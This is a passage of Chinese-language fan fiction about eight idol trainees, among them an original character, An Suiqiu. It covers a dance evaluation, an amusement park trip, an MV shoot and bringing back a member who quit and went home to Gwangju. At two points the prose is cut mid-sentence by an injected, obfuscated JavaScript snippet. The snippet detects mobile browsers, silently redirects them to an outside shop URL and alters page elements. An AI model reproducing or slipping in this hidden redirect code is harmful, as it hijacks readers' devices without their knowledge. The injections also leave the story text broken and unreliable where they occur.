虽然在一个落地动作时因为紧张有轻微失衡,但他立刻用即兴的肢体语言掩盖过去,顺势一个翻滚接后空翻,动作流畅得像设计好的一样。 结束时朴智旻单膝跪地,胸口剧烈起伏,抬头看向镜子的方向。 几位老师交换了眼神,然后同时鼓掌。 接下来是安岁秋和郑号锡的双人舞,音乐响起的瞬间就定下了基调——强劲的嘻哈鼓点,低音贝斯线沉重地推进。两个人从镜子两端走向中央,脚步踩在节拍上,肩膀随着节奏微微晃动。 郑号锡先起势,一连串快速的脚步动作干净利落,身体像弹簧般收缩又爆发,安岁秋紧接着跟上,动作幅度更大,每个定格都充满张力。 他们不是互补,是竞争,在镜子里追逐彼此的影子,又像是在对话。 最后八拍,他们同时后撤步,在重音落下的瞬间定格——背对背,右手同时指向天空。 音乐声一停止,他们的呼吸声就在安静的练习室里格外清晰。 方时赫第一个鼓掌。 “很好。” 他说,小眼睛扫过八个少年汗湿的脸,“真的很好,尤其是——我开始看到团队感了。” 孙成德给出了专业反馈,声乐老师指出了情感表达的不足。而最后,方时赫单独留下了安岁秋。 “你上个月交上来的作业,我让制作部的同事听了。” 他说,手指在膝盖上轻轻敲击,“他们都说……很有潜力。你的说唱部分也让人惊喜,节奏感和flow都很自然。” 安岁秋记得自己当时只是点头,喉咙有些发紧。 “泰亨哥,数学作业带了吗?” 安岁秋的声音把朴智旻从回忆里拉回来,他抬头看见安岁秋已经收拾好书包,正站在玄关穿鞋。 金泰亨动作一僵,尖叫着冲回房间,“啊!忘了!” 金硕珍无奈摇头,像个老母亲一样挨个检查四个未成年的衣着。 “柾国,衬衫扣子扣好。” “智旻,外套拉链拉上。” “泰亨……你的书包拉链没拉。” 朴智旻现在已经习惯了这套出门仪式,转学到首尔艺术高中后,他成了金泰亨隔壁班的同学,两人自然而然地成了上学伙伴。每天一起挤公交、分享早餐、讨论课堂内容,同龄人的亲近感迅速拉近了距离。 闵玧其终于慢悠悠地从卧室晃出来,头发乱糟糟的,眼睛半眯着,他通常等到所有人都出门后,才独占卫生间,享受难得的清净时光。 “路上小心。”他含糊地说,声音还带着睡意。 “哥记得吃早饭。”安岁秋回头嘱咐。 那辆商务车几乎成了他们的专属座驾,安岁秋这时候有点庆幸,好在能坐8个人,多一个都没了位置。田柾国坐在副驾驶,后面挤着安岁秋、金泰亨和朴智旻,早高峰的首尔街道上车流缓慢,阳光透过车窗洒进来。 金泰亨和朴智旻低声讨论着学校里的同学,田柾国靠着车窗打瞌睡。 手机在口袋里震动,安岁秋掏出来看,是林东玄的消息: 「我要开始上表演课了,学校附近的培训班,每周两次,价格不贵。」 「加油,哥。」他回复,「有需要帮忙的时候随时找我。」 「对了,中午去食堂吗?我带了泡菜。」 「去。」 收起手机时,安岁秋看向车窗外飞驰而过的城市风景,首尔在春日阳光下苏醒,樱花开始在新沙洞的街道两侧绽放。 他突然觉得,这个世界上的每个人都在各自的轨道上奋力奔跑。 中午的学校餐厅里,林东玄真的带来了他妈妈做的泡菜,玻璃饭盒里,红色的泡菜堆得满满当当,旁边还有一小盒紫菜包饭。 “我妈说谢谢你。”林东玄笑得眼睛弯弯,“上次你的那些话,我跟她说了。” 安岁秋打开饭盒,泡菜的酸辣香气扑鼻而来,他夹起一块送进嘴里,熟悉的味道在舌尖化开,是家常的味道,温暖而踏实。 “表演课上得怎么样?” 林东玄眼睛亮了,“在学解放天性,老师让我们模仿动物,我选了猴子——”他说着就做了个抓耳挠腮的动作,惟妙惟肖。 周围有同学看过来,林东玄脸一红,动作戛然而止。 安岁秋却认真地说:“很好,很放得开。” “真的?”林东玄眼睛又亮了。 “老师也说我有天赋,但就是……太容易害羞了。” “多练就会好的。” “就像唱歌,第一次站上舞台谁都会紧张。” 两个少年坐在喧闹的学校餐厅里,面前是简单的泡菜和紫菜包饭,一个要走戏剧的路,一个要走音乐的路,但眼底的光芒如出一辙。 都是梦想的形状。 游乐园的早晨人还不算多。 八个少年站在入口处,仰头看着高耸的过山车轨道,阳光洒在他们年轻的脸上。因为月度考核表现出色,方时赫特批了一天假期,田柾国立刻提议去他心心念念已久的游乐园。 “岁秋啊,帽子和口罩要带好。”金硕珍像复读机一样重复。 安岁秋皱眉反抗,“我早就过时了,不会有人认出来的。” 朴智旻在旁边幽幽开口,“那上周是谁在商场被导购姐姐认出来了,还签了名?” 安岁秋:“……” 上周安岁秋拉着朴智旻去了商场,他实在看不下去朴智旻带来的那些五颜六色的衣服——每天就像看着一堆抽象油画在面前晃,偏偏这件“艺术品”还格外喜欢贴着他。 安岁秋以为自己的热度已经过去了,没有新作品上线,最近优秀的影视作品那么多,眼花缭乱的,应该早就被网友们遗忘了,所以没戴口罩就出门了。 然后灾难就发生了。 一开始确实没人会盯着路人的脸看,但他在陪朴智旻试衣服时,那个导购姐姐盯了安岁秋好久,忽然一拍手,恍然大悟—— “呀!美少年!” 结果最后还是朴智旻拉着安岁秋跑出了那个商场,两个人的手紧紧牵着,像是末日逃难的小情侣。 金泰亨在旁边调侃,撞了撞安岁秋的肩膀,“就是!我们安安可是‘千年一遇美少年’呢!” 安岁秋无语。 他真的对这个称呼接受不了——太夸张了,韩国这些记者总喜欢用一些格外奇怪的比喻,什么“第一美少年”“国宝级小帅哥”之类的,想起来就要起鸡皮疙瘩。 黑色棒球帽压低了帽檐,口罩遮住大半张脸,只露出一双眼睛,朴智旻仔细帮他调整好,满意地点头,“这样就行了。” 闵玧其是最后一个被拖出门的。 他穿着简单的黑色卫衣和牛仔裤,脸上写满了“我不想出门”的抗拒,但金泰亨和田柾国一左一右架着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394870|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,愣是把人拖出了宿舍。 “哥,偶尔也要晒晒太阳。”田柾国笑着说。 闵玧其翻了个白眼,但没再挣扎。 分组几乎是瞬间完成的。 “过山车!” 金泰亨高举双手,眼睛亮得像星星,“柾国!智旻!走!” 三个胆大的孩子尖叫着冲去排队,背影里都透着兴奋。 金硕珍和郑号锡对视一眼,默契地走向旋转木马的方向,头也不回,脚步飞快,生怕被那三个小孩拉住。 剩下的三人——安岁秋、闵玧其、金南俊,站在原地面面相觑。 “所以,”金南俊眨了眨眼睛,“我们干嘛?” 闵玧其打了个哈欠,“找个地方坐着。” 安岁秋眼睛一转,“那边有小吃街。” 于是三个自由人意外开启了美食探索节目,接下来的两个小时里,安岁秋被两个哥哥投喂了棉花糖、烤香肠、吉事果、鲷鱼烧…… 每当他想说“够了”的时候,金南俊就会递来新的食物,“这个看起来很好吃。”而闵玧其则会直接塞进他手里,“长身体,多吃点。” 安岁秋终于抗议,“哥,我真的吃不下了……” 话没说完,嘴里又被塞了一颗青梅蜜饯。 闵玧其淡淡的说:“消食。” “???” 等安岁秋鼓着腮帮子无奈地看过去,闵玧其又迅速收回了眉眼的笑意,正经地点了点头。 快到中午时,八个少年重新汇合,此时“阳气”最重,他们要干一件大事—— 鬼屋门口,金硕珍和郑号锡进去前还信誓旦旦地说“没什么好怕的”,进去后却全程紧紧闭着眼,手还死死抓着旁边人的手臂。 结果出来时两人才发现…… 他们抓的是陌生人。 那个被夹在他俩中间的男生一脸惊恐,而朴智旻已经笑到蹲在地上。 飞镖扎气球的摊位前,金泰亨展现了惊人的天赋。他眯起一只眼睛,手腕轻抖,飞镖“嗖”地飞出,正中红心,一连十镖全中,摊主大叔都看呆了。 “小伙子,练过?”大叔问。 金泰亨咧嘴笑,露出四方嘴,“小时候在乡下经常玩。” 他用赢来的奖券换了一个巨大的熊猫玩偶——黑白相间,憨态可掬,几乎有半个金泰亨那么大,然后转身把玩偶塞进了安岁秋怀里。 “给你。” 安岁秋抱着几乎和自己上半身一样大的玩偶,哭笑不得,“泰亨哥,这……” “很配你。”金泰亨笑得更开了,“跟你一样可爱。” 田柾国和金南俊也各自赢了些小奖品——手环、钥匙扣、卡通贴纸,朴智旻则用奖券换了一包糖果,拆开分给每个人。 最精彩的环节发生在纪念品商店门口。 田柾国、金泰亨、朴智旻三个小子进去后,不知道在纠结什么,半天没出来。 再出现时,三个人头上都戴着可爱的动物发箍——田柾国是灰色兔子耳朵,金泰亨是黑白条纹老虎耳朵,朴智旻则是红褐色的小熊猫耳朵。 他们交换了一个眼神,那眼神里闪烁着某种“计划通”的光芒,然后默契地朝着安岁秋扑来。 “等等——”安岁秋察觉不妙,想逃已经晚了。 金泰亨和朴智旻一人按住他一只手,动作快得像是排练过,田柾国笑着上前,把一个红色的狐狸耳朵发箍戴在了他头上。毛茸茸的耳朵立在安岁秋微卷的黑发上,衬得他露在口罩外的眼睛更亮,皮肤更白。 “很适合。”田柾国小声说,耳朵尖红了。 但这还没完,借着身形的遮挡,田柾国悄悄往安岁秋手里塞了另一个发箍——黑色的猫耳朵,边缘还有几根银色胡须。 “给玧其哥的。”他用气声说,一边撇嘴示意身后的闵玧其。 于是搞事的人又多了一个。 金泰亨扑向金南俊,把灰色小浣熊发箍扣在他头上;田柾国追着金硕珍跑,成功戴上了长颈鹿发箍;朴智旻则把小狗耳朵发箍戴在了还没反应过来的郑号锡头上。 最后轮到闵玧其。 他看见安岁秋拿着猫耳朵发箍朝自己走来,下意识后退一步,“不要。” “哥。”安岁秋眼睛弯弯的,口罩上方露出的眉眼盛着笑意。 “我不戴。”闵玧其坚持,但脚却没动。 安岁秋最近又长高了些,现在已经比闵玧其高出一点点了,他轻松地走到对方面前把发箍戴在了闵玧其头上。 黑色猫耳朵立在闵玧其柔软的头发上,和他冷淡的表情形成奇妙的反差,银色的胡须在阳光下微微颤动。 闵玧其僵着脖子,唯一倔强的是挺直的背脊。 但几秒后,他自己先笑了——很轻的笑,从鼻腔里哼出来的一声,嘴角上扬的弧度几乎看不见。 八个少年,顶着八个不同的动物发箍,站在游乐园的夕阳下,笑得毫无保留。 金泰亨拉住一个路人女生,“姐姐,能帮我们拍张照吗?” 女生欣然同意。 八个人迅速挤进镜头——金硕珍的长颈鹿耳朵歪了,郑号锡的小狗耳朵被金泰亨捏着,金南俊笑得傻气,田柾国对着镜头比剪刀手,朴智旻搂着金泰亨的肩膀,闵玧其虽然表情无奈但没摘下发箍。 而安岁秋,在快门按下的前一秒,他悄悄拉下口罩,露出了完整的笑脸。 眼睛弯成月牙,梨涡深深,红色的狐狸耳朵在晚风中轻轻颤动。 回程是闵玧其开的车,他的驾照终于下来了,金硕珍这个专职司机也有了休息时间。 金硕珍坐在副驾驶,后面两排挤着六个少年。 玩了一整天的孩子们很快东倒西歪地睡着了——田柾国靠着车窗,金泰亨歪在朴智旻肩上,郑号锡和金南俊头靠着头,而安岁秋抱着那个巨大的熊猫玩偶,眼睛半闭着。 车驶上汉江大桥时,夜幕已经完全降临。 江水在黑暗中静静流淌,倒映着两岸绵延的灯火,像一条缀满钻石的黑色绸带。 22. 回归干预 游乐园归来的那个周末,安岁秋在创作室里待了整整两天。 薄荷绿色的贝斯静立在墙角,电脑屏幕上的音轨密集如星群,他戴着耳机,指尖在MIDI键盘上轻盈起落,一段流畅的R&B旋律便流淌而出——那旋律轻盈甜蜜,宛若春日阳光下逐渐融化的棉花糖。 《MY LOVE》[1]。 歌名出现在屏幕上时,他自己都微微一怔,这并非他惯常的风格,过往的作品名称总是含蓄的……而此刻屏幕上的这两个单词,却直白得近乎莽撞。 然而旋律已然成型,轻快的鼓点托着跳跃的贝斯线前行,和弦进行甜腻得几乎要溢出蜜来,副歌部分那句“You''re gonna be my love”往复循环,像一种执拗而温柔的宣告。 他想起上周在游乐园,八个人挤在摩天轮售票处前,工作人员带着歉意微笑解释,“一个车厢最多只能坐六位……” 最终他们不得不分作两批。 金硕珍、闵玧其、金南俊、郑号锡四个哥哥先行,安岁秋、金泰亨、田柾国、朴智旻紧随其后,当两个车厢缓缓攀升,安岁秋将额头轻抵在冰凉的玻璃上向下望去,首尔的灯火在脚下铺展成一片温暖而无垠的海洋。 金泰亨在旁边兴奋地指指点点,田柾国举着手机不停捕捉光影,朴智旻则安静地笑着,那一刻,一个念头毫无征兆地涌入安岁秋心中。 要是能一直这样就好了。 八个人,一个都不能少。 于是旋律便这样自然而然地流淌出来,或许这并非传统意义上的情歌,至少不完全是,它是安岁秋对“在一起”这件事,所能做出的最直白、最诚恳的表达。 “你谈恋爱了?” 方时赫听完demo后的第一句话,让安岁秋差点被自己的口水呛到。 “啊?没有啊,PD nim为什么这么问……” “因为这歌,”方时赫眯起那双本就不大的眼睛,指尖在桌面上若有所思地敲了敲,“风格不像你写出来的东西。” 安岁秋笑着解释道,“是想着成员们写的,也算情歌?” 方时赫的表情变得有些微妙,他仔细端详了安岁秋好一会儿,最终只是轻轻叹了口气,“行吧。” 他将手伸进抽屉,取出一个米黄色的文件夹,推到安岁秋面前。 “算是个……提前的生日礼物?” 文件夹里是一份拍摄邀约。 Ailee前辈即将发行的新歌MV,需要一个具有少年感的男主角,饰演那位在十七岁夏天因意外离世、从此成为记忆中永恒白月光的初恋。 “对方亲自指定的你。” 方时赫补充道,“她说看过你以前的戏,觉得你非常适合这个角色。” 安岁秋的目光落在拍摄日期上——下周,正好是他十六岁生日的前三天。 MV拍摄现场比想象中更为安静。 安岁秋换上了简洁的白衬衫与深色校服,造型师姐姐为他整理头发时,忍不住轻声感叹,“哎一古,这张脸真是……” “姐姐。”安岁秋无奈地唤了一声。 “好好好,不说了。”造型师笑着退开半步,但目光中仍是掩不住的欣赏,“不过说真的,非常贴这个角色。” 导演是位留着络腮胡的中年男性,言辞温和却精准,他为安岁秋讲解着角色内核,“你要演绎的并非幽灵,而是记忆本身,是女主角心中那个被时光永远定格在十七岁的少年。” 第一场戏在废弃的教室拍摄,Ailee前辈身着米色长风衣,指尖缓缓拂过积满灰尘的课桌,阳光从破损的窗棂斜切而入,无数微尘在光柱中翩跹浮沉。 “Action。” 安岁秋静静地立在光里。 他没有刻意做出任何表情,只是微微侧过头,望向前辈所在的方向,唇角弯起一个极清浅的弧度,白衬衫的衣角被老旧风扇吹出的风轻轻掀起,发梢在阳光晕染下泛起一层浅金色的光晕。 这正是导演要求的——“不要表演悲伤,去呈现存在,去表达‘我一直在’的状态。” 下一场转至小巷,Ailee前辈独自走在石板路上,高跟鞋敲击出清晰而孤独的声响。安岁秋走在她身侧略后方一步,校服外套随意搭在肩头,步履轻快,他们之间维持着一个微妙而恒定的距离——不远不近,恰如回忆应有的分寸感。 有一个镜头需要他伸出手,仿佛要去触碰她的肩膀,却在最后一瞬停滞,指尖悬停于半空,片刻后,悄然收回。 “Cut!”导演显然十分满意,“那种欲触未触的微妙感,把握得很好。” 前辈转过身来看他,眼眸明亮,“岁秋啊,演得真不错。” 她性格爽利,说话从不绕弯,“我之前还担心,两年没拍戏会不会手生,现在看来是多虑了。” “谢谢前辈。”安岁秋笑着回复,礼貌地躬身感谢。 “别叫前辈了,叫姐姐就好。”Ailee笑着拍了拍他的肩。 “等会儿收工了一起吃饭?我请客。” 拍摄持续至日暮时分,最后一场戏在海边,夕阳将辽阔的海面染成一片温暖的橘红,前辈独立于礁石之上,海风扬起她的长发,安岁秋缓步走到她身畔,侧脸被余晖镀上一层柔和的金边。 他开口,声音轻得像怕惊扰了这场黄昏,“我一直都在。” 随后转身,迎着漫天霞光走去,镜头中,他的身影逐渐变得透明,最终温柔地融进那片瑰丽的光色里。 “Cut!完美!” 现场响起一片掌声,前辈笑着走过来,给了安岁秋一个扎实的拥抱,“辛苦了,我的小男主角。” 她拉着安岁秋合影,照片里两人笑容灿烂,安岁秋将照片发至宿舍群组,配上简短的文字:「拍摄结束了。」 随后他收起手机,登上了返回公司的车。 群聊安静得异乎寻常。 往常这种时候,金泰亨会第一时间跳出来刷屏表情包,田柾国会追问“岁秋哥吃饭了没”,朴智旻会发来鼓掌的小人,郑号锡会细心询问是否疲惫,金硕珍会叮嘱注意休息,金南俊会探讨拍摄细节,而闵玧其……或许会迟些回复,但绝不会缺席。 然而此刻,十分钟过去了,聊天界面依旧一片沉寂。 安岁秋微微蹙眉,又发送了一条:「有人在练习室吗?」 仍旧没有任何回应。 车辆抵达楼下时,夜色已浓,安岁秋背起包走上楼,推开宿舍门的瞬间—— “号锡哥的电话还是打不通!” 金泰亨的声音里带着明显的哭腔。 客厅里一片忙乱。 田柾国蜷在沙发一角,手中紧紧攥着一张信纸,眼眶通红,金硕珍来回踱步,手机紧贴耳侧,眉头深锁,朴智旻蹲在郑号锡空荡荡的床铺边,望着整理得过分整齐的床单发愣。 “发生什么事了?”安岁秋问,声音不自觉地绷紧。 金硕珍闻声转头,面色苍白,“号锡他……不见了。” “……什么意思?” “他留下了这个。”田柾国将那张信纸递过来,手指微微发颤。 “说……要回家继续读书。” 安岁秋接过信纸,郑号锡的字迹工整清秀,与他跳舞时的利落飒爽截然不同。 「硕珍哥,冰箱里的牛奶记得三天内喝完。」 「玧其哥,别总喝冰美式,对胃不好。」 「南俊啊,写歌别熬太晚。」 「泰亨,柾国,智旻,好好练习,别偷懒。」 「岁秋……对不起。这次不能陪你过生日了,礼物放在你床头了,提前祝你十六岁快乐。」 信的结尾写道:「我好像什么都做不好,舞蹈跟不上,说唱也吃力,家里也……对不起,我想先回家了。大家都要好好的。」 安岁秋的手指微微收紧,信纸边缘泛起细密的皱痕。 就在这时,宿舍门被猛地推开,闵玧其与金南俊疾步而入,两人额间皆带着薄汗。 “地址要到了。”闵玧其声音低沉,“光州,他买了今天下午的火车票。” 金南俊紧接着补充:“最后一班火车是晚上十点,现在赶去或许还来得及。” 七个人的目光在空中短暂交汇,没有多余的言语,金硕珍一把抓起车钥匙,“我去开车。” “我收拾东西。”朴智旻迅速冲进房间。 “我给方PD打电话说明情况。”金南俊已经拿出手机。 安岁秋走进卧室,床头果然搁着一只小巧的礼盒,他打开盒盖,里面是一条银质手链,链坠是一只精巧的四叶草,盒底压着一张卡片。 「给最努力的我们岁秋,生日快乐!——号锡哥」 他将手链戴上腕间,冰凉的金属触感贴上皮肤,随后转身,快步跟上其他人的步伐。 此时此刻,郑号锡正坐在光州家附近那片熟悉的草坪上。 行李箱立在身侧,他环抱着双膝,目光落在不远处几个嬉戏的孩童身上,其中一个约莫三四岁的小男孩摇摇晃晃地跑过来,在他面前不慎绊倒,瘪着嘴眼看就要哭出声来。 郑号锡下意识地伸出手,做了个滑稽的鬼脸,随即站起身来,跳了一段简单的舞蹈——是幼时老师教他的、充满童趣的舞步。 小男孩破涕为笑,拍着小手欢呼,“哥哥!再来!” 于是他又跳了一段,动作简单却节奏欢快,小男孩模仿着扭动小小的身体,发出咯咯的笑声。 跳着跳着,郑号锡感到眼眶阵阵发热。 他想起了首尔那间练习室,镜子前那个汗流浃背的自己,汗水滴落在地板上的轻响,老师严厉而精准的指点,同伴们一日千里、令人追赶不及的背影。 还有家中那通电话,母亲虚弱却努力维持平稳的嗓音,“号锡啊,不用急着回来……妈妈没事的。” 但他分明听见了背景里父亲那一声沉重的叹息。 在返回光州的火车上,他一直在想,或许自己真的不适合这条道路,或许回到家乡,帮助支撑家庭,找一份寻常安稳的工作,才是正确而现实的选择。 可是……总有点不甘心呢。 “号锡哥。” 熟悉的声音自身后传来,郑号锡浑身一僵,缓缓回过头去。 七道身影立于草坪边缘,风尘仆仆,却都用那双亮晶晶的眼睛注视着他,金泰亨第一个冲过来,用力抱紧他,“哥!你怎么可以不告而别!” 田柾国也扑了上来,声音里带着哽咽:“我们找你找了很久……” 朴智旻站在一旁,眼圈泛红,“哥,对不起……我都没能早些发现你那么难过。” 金硕珍走过来,轻轻拍了拍他的肩,闵玧其与金南俊站在稍远处,但目光中的忧虑清晰可辨。 安岁秋走到他面前,抬起手腕——那条系着四叶草吊坠的手链,在路灯下流转着细碎的微光。 “礼物,”他说,“我戴上了。” 郑号锡的家不算宽敞,却处处透着温馨。 郑妈妈的气色看起来已好转许多,见到七个突然出现的少年,先是讶异,随即眼眶便湿了,“你们……是号锡在首尔的朋友们?” “是的。”金硕珍恭敬地鞠躬问候,“阿姨,不好意思,深夜叨扰了。” 晚餐是简单的家常菜肴,郑妈妈却特意多添了好几道菜,饭桌上,郑爸爸沉默地倾听着孩子们讲述在首尔的生活点滴,偶尔微微颔首。 “号锡很少同我们细说这些。”郑妈妈为安岁秋夹了一筷子菜,“这孩子总是报喜不报忧。” “妈……”郑号锡轻声唤道。 “你这孩子。”郑妈妈的眼圈又红了,“妈妈是盼着你好,不是要你事事都自己硬扛。” 饭后,郑妈妈端出一锅热气腾腾的年糕汤,洁白的年糕片在清透的汤水中沉浮,香气四溢。 “岁秋呀,”郑妈妈将第一碗盛好递给安岁秋,“听号锡说明天是你生日?阿姨先给你煮了年糕汤,生日那天一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394871|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要记得吃,才能健健康康地长大。” 安岁秋双手接过碗,“谢谢阿姨。” 年糕汤温暖妥帖,暖意从胃里蔓延至四肢百骸,八个少年挤在客厅地板上,每人捧着一只碗,细细吃着。 “好吃!”金泰亨眼睛发亮,“比我妈妈煮的还要香!” 郑妈妈笑得很是开怀,“喜欢就多吃些,锅里还有。” 夜间住宿成了小小难题,郑家除了主卧外只有两间卧房——郑号锡与姐姐的房间,好在姐姐不在家,最终没有落得八人挤一个房间的下场。 郑号锡的房间并不宽敞,四个男生并肩躺在地铺上,肩膀挨着肩膀,熄灯后黑暗中只余下彼此轻缓的呼吸声。 “哥。”安岁秋忽然轻声开口。 “嗯?” “手链很好看。”安岁秋说,“谢谢你。” 郑号锡在黑暗中轻轻笑了笑,“你喜欢就好。” “哥跳舞也特别好看,”田柾国小声说道,“我最喜欢看哥跳舞了。” “我也是。”朴智旻低声附和。 金泰亨翻了个身,面朝郑号锡的方向,“哥,你要是真走了,谁教我那个转身动作啊?我自个儿琢磨了好几天都没学会。” 郑号锡沉默了许久。 然后他低声说:“……对不起。” “不要说对不起。”安岁秋的声音很轻,却异常清晰。 “哥只需要说‘好,我教你们’就可以了。” 黑暗中,有人轻轻握住了郑号锡的手,接着是第二只,第三只。 五只手叠在一起,温热而坚定。 次日,是安岁秋的十六岁生日。 他们没有急于返回首尔,而是在郑号锡这个新手导游的带领下,悠然探索起了这座他生长的城市。 杨宁洞企鹅村比预想中更为可爱,彩色的小屋依山错落,墙壁上绘满了斑斓的壁画——憨态可掬的跳舞企鹅,遨游云端的鲸鱼,还有大片盛放的花朵。八个少年在狭窄而充满趣味的巷弄间穿行,金泰亨与田柾国兴奋地四处拍照留念。 “这里原本是一片老旧住宅区,”郑号锡为大家讲解,“后来居民们邀请了艺术家来绘制壁画,才渐渐变成了现在的模样。” “快来!” 金泰亨招呼着安岁秋他们一起拍照。 傍晚大家则去了光州艺术街,街道两侧林立着各色画廊、手工艺品店与咖啡馆,街头艺人各展其才——弹奏吉他的大叔,为人绘制肖像的姐姐,还有一群正随着强劲节拍跳街舞的年轻人。 音乐充满活力,节奏动感十足,几位舞者正在圈中展示 solo,周围聚集了一圈驻足观赏的游人。 安岁秋侧目看向身旁的郑号锡,对方正随着音乐不自觉点头,身体已经养成了习惯。 “去吧。”安岁秋轻轻推了一下他的背脊。 “去跳舞。” 郑号锡深吸一口气,迈步走进了那个无形的圆圈。 音乐恰在此时切换至下一首,是一段经典的嘻哈旋律,郑号锡的身体开始随着节奏摆动,动作干净利落,每个卡点都精准到位,身体的wave流畅而充满力道。 一个利落的旋转,紧接着是一个漂亮的定格,周围的观众开始鼓掌喝彩。 金泰亨按捺不住,也冲进去加入了舞蹈,接着是田柾国,朴智旻扯着安岁秋的手腕一起拽了上去,五个少年在街头即兴起舞,动作未必整齐划一,但每个人的脸上都洋溢着灿烂的笑容。 最后连金南俊也被拉了进来,虽然动作略显奇怪,却努力跟上大家的节奏,闵玧其与金硕珍站在人群外围,一个摇头失笑,一个举着手机认真记录。 原本在表演的舞者们十分友善,主动为他们让出空间,甚至有人跟着一同舞动起来,音乐声、欢笑声、掌声交织融合,整条街道都沉浸在热闹而愉快的氛围中。 一曲终了,郑号锡微微喘息,汗水沿着下颌线滑落,但他的眼睛亮得惊人,笑容里透出一种久违的、发自内心的轻松。 一位年长的舞者走上前来,拍了拍他的肩,“跳得很棒啊,小子,练了多久了?” “八年。”郑号锡答道。 “那就继续跳下去。”舞者露出赞许的笑容,“你很有能力。” 回程的路上,郑号锡许久没有说话,直至行至街角,他才停下脚步,转身望向身后的七位同伴。 “我……”他开口,声音有些沙哑,“我想再试一次。” 金泰亨第一个扑上去紧紧抱住他,“当然要试!” “这个家不能没有郑号锡!” 返回首尔的列车上,八个人依旧亲密地挨坐在一起。 郑号锡倚着车窗,凝视窗外飞速倒退的夜色,安岁秋坐在他身侧。 “岁秋啊。”郑号锡忽然轻声唤道。 “嗯?” “生日快乐。” 郑号锡转过头来,在车厢昏黄的光线下,他的眼神格外温柔。 “虽然礼物提前送了,但祝福总要亲口在当天说出来才算数。” “那我收到了。” 其他人都已沉沉睡去,金泰亨歪倒在朴智旻肩头,田柾国靠着金硕珍,金南俊与闵玧其的脑袋挨在一起。 安岁秋望向窗外,夜色浓稠如墨,他突然想起拍摄MV时导演说过的话—— “你要演绎的并非幽灵,而是记忆本身。” 记忆或许会随时间褪色,但存在过的痕迹永远不会湮灭。 十六岁了。 离出道更近了一步,离梦想更近了一步,离那个“八个人一起”的未来,也更为清晰地近了一步。 ------------------------ 参考文献: [1] Rado(曲); Rado, Swings(词). MY LOVE(feat. Swings)[CD]. Ailee. 首尔, YMC Entertainment, 2012-10-16. 23. 集体承诺 朴智旻站在地铁站出口,指尖紧紧攥着一张微微发皱的便签——京畿道加平郡南怡岛路1街12-3。 这是安岁秋在他生日那天悄悄塞给他的,夹在那条米白色羊绒围巾的包装袋里,安静得像一句没说出口的话。 他至今还记得那晚的场景……安岁秋双手递过围巾与信封时,眼尾弯得柔和,清润的琥珀色暖调浅浅晕开,不灼人却自带一种温软的光亮,只轻轻一句“哥有空的时候,去这里看看吧”,便不再多做解释。 朴智旻把那条羊绒围巾仔细收进了衣柜最深处,舍不得轻易戴上,却将这张小小的便签一直贴身带着。训练间隙、吃饭时,甚至深夜躺在床上,总会下意识摸出来看上一眼,反复猜想着那地址背后,究竟藏着什么。 安岁秋自那之后再也没有提起,仿佛真的只是一份再普通不过的生日礼物。 直到难得的休息日清晨,朴智旻终于有时间踏上了开往南怡岛的列车。 湖畔咖啡厅的木制招牌在初夏的阳光里泛着温润的光泽,推开门时,风铃清脆作响,吧台后的店主抬起头,目光落在朴智旻脸上,忽然露出一个了然的微笑。 “来了?” 她擦着手走过来,语气熟稔得像在招呼常客,“坐吧,喝点什么?” 朴智旻点了杯美式,犹豫片刻,还是从口袋里掏出那张便签,“你好,请问……这个地址,是这里没错吧?” 店主接过便签看了一眼,笑意更深,“没错,是那个漂亮的孩子给你的,对吧?” “您认识岁秋?” “哎一古,那孩子叫岁秋啊,去年冬天,有七个跟你差不多大的小伙子来过。” 店主转身准备咖啡,声音温和,“他们还埋了个铁盒在后面的杉树下呢。” 朴智旻怔住了。 店主将咖啡放在他面前,又从柜台下取出一张樱花粉的卡纸和一支笔,“既然来了,也写一张吧,我们这里的传统——客人都会把心愿埋在后面的树林里。” 卡纸柔软,边缘印着细小的樱花图案,朴智旻握着笔,在卡纸上郑重写下:「想成为值得被记住的人。」 “从后门出去,往树林里走,最大的那棵杉树。” 店主指了指方向,“埋得深一点,愿望才不会被风吹走。” 朴智旻道谢,握着封装好的卡片推开后门。 午后阳光透过树叶洒下斑驳光点,泥土与青草的气息清新扑鼻,林间很静,只有风声与远处隐约的鸟鸣。 朴智旻往前走了几步,脚步忽然顿住——最粗壮的那棵老杉树下,蹲着一道熟悉的身影。 安岁秋穿着浅蓝色牛仔背带裤,内搭一件干净的白卫衣,袖子随意挽到手肘,露出一截清瘦却线条好看的小臂。手上戴着沾了湿土的园艺手套,正握着小铲子,专注地刨着树根旁的泥土。 额前软发被薄汗浸得微湿,轻轻贴在光洁的额头上,侧脸线条干净柔和,鼻梁在光影里落下一道浅淡的阴影。 听见脚步声,他缓缓抬起头。树荫滤过的光落在他眼底,琥珀色透着天然的暖意,包容着林间所有的安静揉进眼眸。 “智旻哥。” 他轻轻开口,语气里带着一点浅浅的笑意,“你来晚了。” 朴智旻僵在原地,一时竟忘了言语。 安岁秋脚边已经挖开一小方土坑,湿润的深褐色泥土堆在一旁,带着新鲜的气息。 “这是……” “去年硕珍哥生日的时候,”安岁秋低头继续手上的动作,“我们七个人在这里埋了一个铁盒,放了每个人的心愿卡。说好等拿到第一个一位,再一起回来挖。” 小铲子忽然碰到硬物,发出一声轻脆的“咔”。 